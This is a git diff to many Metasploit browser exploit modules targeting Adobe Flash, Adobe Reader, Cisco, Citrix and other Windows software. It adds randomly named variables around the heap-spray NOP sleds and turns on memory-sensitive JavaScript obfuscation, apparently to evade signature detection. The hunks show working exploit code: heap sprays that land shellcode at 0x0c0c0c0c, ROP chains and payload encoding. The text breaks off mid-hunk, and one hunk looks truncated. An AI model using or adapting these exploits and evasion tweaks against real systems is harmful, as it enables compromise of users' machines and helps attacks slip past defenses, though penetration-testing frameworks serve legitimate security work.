diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb index 930cacf356..ccbc39b1e4 100644 --- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb +++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb @@ -208,11 +208,13 @@ class MetasploitModule < Msf::Exploit::Remote js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) + randnop = rand_text_alpha(rand(100) + 1) js_pivot = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); diff --git a/modules/exploits/windows/browser/adobe_flash_rtmp.rb b/modules/exploits/windows/browser/adobe_flash_rtmp.rb index 9c980b6ef9..5ff193aec3 100644 --- a/modules/exploits/windows/browser/adobe_flash_rtmp.rb +++ b/modules/exploits/windows/browser/adobe_flash_rtmp.rb @@ -138,11 +138,13 @@ class MetasploitModule < Msf::Exploit::Remote end def get_easy_spray(t, js_code, js_nops) + randnop = rand_text_alpha(rand(100) + 1) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); while (nops.length < 0x80000) nops += nops; @@ -166,11 +168,13 @@ class MetasploitModule < Msf::Exploit::Remote def get_aligned_spray(t, js_rop, js_nops) + randnop = rand_text_alpha(rand(100) + 1) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); - var nops = unescape("#{js_nops}"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); var rop_chain = unescape("#{js_rop}"); while (nops.length < 0x80000) nops += nops; @@ -370,7 +374,7 @@ class MetasploitModule < Msf::Exploit::Remote if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate + js.obfuscate(memory_sensitive: true) end swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index 9bf26fac88..c3dd135f5d 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -114,11 +114,13 @@ class MetasploitModule < Msf::Exploit::Remote js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + randnop = rand_text_alpha(rand(100) + 1) js = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); @@ -138,7 +140,7 @@ class MetasploitModule < Msf::Exploit::Remote if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate + js.obfuscate(memory_sensitive: true) end myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb index 4228fab535..5fdca5e3bc 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb @@ -208,6 +208,9 @@ class MetasploitModule < Msf::Exploit::Remote js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);" end + randnop = rand_text_alpha(rand(100) + 1) + js_nops = Rex::Text.to_unescape("\x0c"*4) + js = <<-JS function heap_spray(heaplib, nops, code, offset, max) { while (nops.length < 0x2000) nops += nops; @@ -222,7 +225,8 @@ class MetasploitModule < Msf::Exploit::Remote } var heap_obj = new heapLib.ie(0x20000); - var nops = unescape("%u0c0c%u0c0c"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); var code = unescape("#{shellcode}"); heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']}); var fake_pointers = unescape("#{pivot}"); @@ -234,7 +238,7 @@ class MetasploitModule < Msf::Exploit::Remote #Javascript obfuscation is optional if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate + js.obfuscate(memory_sensitive: true) end trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf" diff --git a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb index 671f7029d9..466a3b294b 100644 --- a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb @@ -87,6 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote # Make some nops nops = Rex::Text.to_unescape(make_nops(4)) + randnop = rand_text_alpha(rand(100) + 1) # Randomize variables rand1 = rand_text_alpha(rand(100) + 1) @@ -94,7 +95,8 @@ class MetasploitModule < Msf::Exploit::Remote script = %Q| var #{rand1} = unescape("#{shellcode}"); -var #{rand2} = unescape("#{nops}"); +var #{randnop} = "#{nops}"; +var #{rand2} = unescape(#{randnop}); while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2}; #{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length); memory = new Array(); diff --git a/modules/exploits/windows/browser/adobe_geticon.rb b/modules/exploits/windows/browser/adobe_geticon.rb index e2e29c8b95..c40339d96e 100644 --- a/modules/exploits/windows/browser/adobe_geticon.rb +++ b/modules/exploits/windows/browser/adobe_geticon.rb @@ -91,13 +91,15 @@ class MetasploitModule < Msf::Exploit::Remote rand10 = rand_text_alpha(rand(100) + 1) rand11 = rand_text_alpha(rand(100) + 1) rand12 = rand_text_alpha(rand(100) + 1) + randnop = rand_text_alpha(rand(100) + 1) script = %Q| var #{rand1} = unescape("#{shellcode}"); var #{rand2} =""; - for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}"); + var #{randnop} = "#{nops}"; + for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{randnop}"); #{rand4} = #{rand2} + #{rand1}; - #{rand5} = unescape("#{nops}"); + #{rand5} = unescape(#{randnop}); #{rand6} = 20; #{rand7} = #{rand6}+#{rand4}.length while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5}; diff --git a/modules/exploits/windows/browser/adobe_jbig2decode.rb b/modules/exploits/windows/browser/adobe_jbig2decode.rb index dddaceeac0..86d5216d11 100644 --- a/modules/exploits/windows/browser/adobe_jbig2decode.rb +++ b/modules/exploits/windows/browser/adobe_jbig2decode.rb @@ -85,16 +85,18 @@ class MetasploitModule < Msf::Exploit::Remote rand14 = rand_text_alpha(rand(50) + 1) rand15 = rand_text_alpha(rand(50) + 1) rand16 = rand_text_alpha(rand(50) + 1) + randnop = rand_text_alpha(rand(100) + 1) script = %Q| var #{rand1} = ""; var #{rand2} = ""; var #{rand3} = unescape("#{shellcode}"); var #{rand4} = ""; + var #{randnop} = "#{nops}"; - for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}"); + for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape(#{randnop}); #{rand6} = #{rand4} + #{rand3}; - #{rand7} = unescape("#{nops}"); + #{rand7} = unescape(#{randnop}); #{rand8} = 20; #{rand9} = #{rand8}+#{rand6}.length while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7}; diff --git a/modules/exploits/windows/browser/adobe_media_newplayer.rb b/modules/exploits/windows/browser/adobe_media_newplayer.rb index 535d228fb9..7d1bd363d2 100644 --- a/modules/exploits/windows/browser/adobe_media_newplayer.rb +++ b/modules/exploits/windows/browser/adobe_media_newplayer.rb @@ -106,6 +106,7 @@ class MetasploitModule < Msf::Exploit::Remote rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1') rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1') + randnop = rand_text_alpha(rand(100) + 1) vtbuf = [target.ret].pack('V') * 4 vtbuf << rand_text_alpha(len - vtbuf.length) @@ -114,8 +115,9 @@ class MetasploitModule < Msf::Exploit::Remote # The printd strings are 72 bytes (??) script = %Q| +var #{randnop} = "#{nops}"; var #{rand1} = unescape("#{shellcode}"); -var #{rand2} = unescape("#{nops}"); +var #{rand2} = unescape(#{randnop}); var #{rand3} = unescape("#{retstring}"); while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2}; #{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length); diff --git a/modules/exploits/windows/browser/adobe_utilprintf.rb b/modules/exploits/windows/browser/adobe_utilprintf.rb index 3816abfb58..8838e8d9b9 100644 --- a/modules/exploits/windows/browser/adobe_utilprintf.rb +++ b/modules/exploits/windows/browser/adobe_utilprintf.rb @@ -72,13 +72,15 @@ class MetasploitModule < Msf::Exploit::Remote rand9 = rand_text_alpha(rand(100) + 1) rand10 = rand_text_alpha(rand(100) + 1) rand11 = rand_text_alpha(rand(100) + 1) + randnop = rand_text_alpha(rand(100) + 1) script = %Q| var #{rand1} = unescape("#{shellcode}"); + var #{randnop} = "#{nops}"; var #{rand2} =""; - for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}"); + for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape(#{randnop}); #{rand4} = #{rand2} + #{rand1}; - #{rand5} = unescape("#{nops}"); + #{rand5} = unescape("#{randnop}"); #{rand6} = 20; #{rand7} = #{rand6}+#{rand4}.length while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5}; diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb index 5a75d963a4..ebaa38daf0 100644 --- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb +++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb @@ -115,13 +115,15 @@ class MetasploitModule < Msf::Exploit::Remote def ie_heap_spray(p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch)) + randnop = rand_text_alpha(rand(100) + 1) # Land the payload at 0x0c0c0c0c js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{get_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); @@ -137,7 +139,7 @@ class MetasploitModule < Msf::Exploit::Remote if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate + js.obfuscate(memory_sensitive: true) end return js diff --git a/modules/exploits/windows/browser/aol_ampx_convertfile.rb b/modules/exploits/windows/browser/aol_ampx_convertfile.rb index 6cd93d0382..1a76b86962 100644 --- a/modules/exploits/windows/browser/aol_ampx_convertfile.rb +++ b/modules/exploits/windows/browser/aol_ampx_convertfile.rb @@ -83,6 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote j_ret = rand_text_alpha(rand(100) + 1) j_eax = rand_text_alpha(rand(100) + 1) j_bof = rand_text_alpha(rand(100) + 1) + randnop = rand_text_alpha(rand(100) + 1) # Build out the message content = %Q| @@ -90,7 +91,8 @@ class MetasploitModule < Msf::Exploit::Remote \n" print_status("Sending #{self.name}") send_response_html(cli, html) diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index 1bb8ae4b5e..5444a964bd 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -102,11 +102,13 @@ class MetasploitModule < Msf::Exploit::Remote end def get_spray(t, js_code, js_nops) + randnop = rand_text_alpha(rand(100) + 1) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); while (nops.length < 0x80000) nops += nops; @@ -222,7 +224,7 @@ class MetasploitModule < Msf::Exploit::Remote if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate + js.obfuscate(memory_sensitive: true) end end diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb index b48bf798ff..b431936497 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb @@ -147,11 +147,13 @@ class MetasploitModule < Msf::Exploit::Remote end def get_easy_spray(t, js_code, js_nops) + randnop = rand_text_alpha(rand(100) + 1) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); while (nops.length < 0x80000) nops += nops; @@ -173,12 +175,14 @@ class MetasploitModule < Msf::Exploit::Remote end def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops) + randnop = rand_text_alpha(rand(100) + 1) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); var nops_90 = unescape("#{js_90_nops}"); var rop_chain = unescape("#{js_rop}"); @@ -396,7 +400,7 @@ class MetasploitModule < Msf::Exploit::Remote if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate + js.obfuscate(memory_sensitive: true) end sploit = "http://" diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb index 13bcfab8a7..2bd69e3f79 100644 --- a/modules/exploits/windows/browser/citrix_gateway_actx.rb +++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb @@ -129,12 +129,15 @@ class MetasploitModule < Msf::Exploit::Remote # payload in JS format code = Rex::Text.to_unescape(payload.encoded) + randnop = rand_text_alpha(rand(100) + 1) + js_nops = Rex::Text.to_unescape("\x0c"*4) #For debugging purposes: nops.substring(0,0x534) lands the payload exactly at 0x0c0c0c0c for IE6 spray = <<-JS var heap_lib = new heapLib.ie(0x20000); var code = unescape("#{code}"); - var nops = unescape("%u0c0c%u0c0c"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); while (nops.length < 0x1000) nops += nops; var offset = nops.substring(0, 0x550); @@ -152,7 +155,7 @@ class MetasploitModule < Msf::Exploit::Remote spray = heaplib(spray, {:noobfu => true}) spray = ::Rex::Exploitation::JSObfu.new(spray) - spray.obfuscate + spray.obfuscate(memory_sensitive: true) load = %Q| var d=document.getElementById("nsepadiv"); diff --git a/modules/exploits/windows/browser/creative_software_cachefolder.rb b/modules/exploits/windows/browser/creative_software_cachefolder.rb index 86579e7e28..d979587708 100644 --- a/modules/exploits/windows/browser/creative_software_cachefolder.rb +++ b/modules/exploits/windows/browser/creative_software_cachefolder.rb @@ -68,12 +68,16 @@ class MetasploitModule < Msf::Exploit::Remote rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) + randnop = rand_text_alpha(rand(100) + 1) + js_nops = Rex::Text.to_unescape("\x0c"*4) + content = %Q|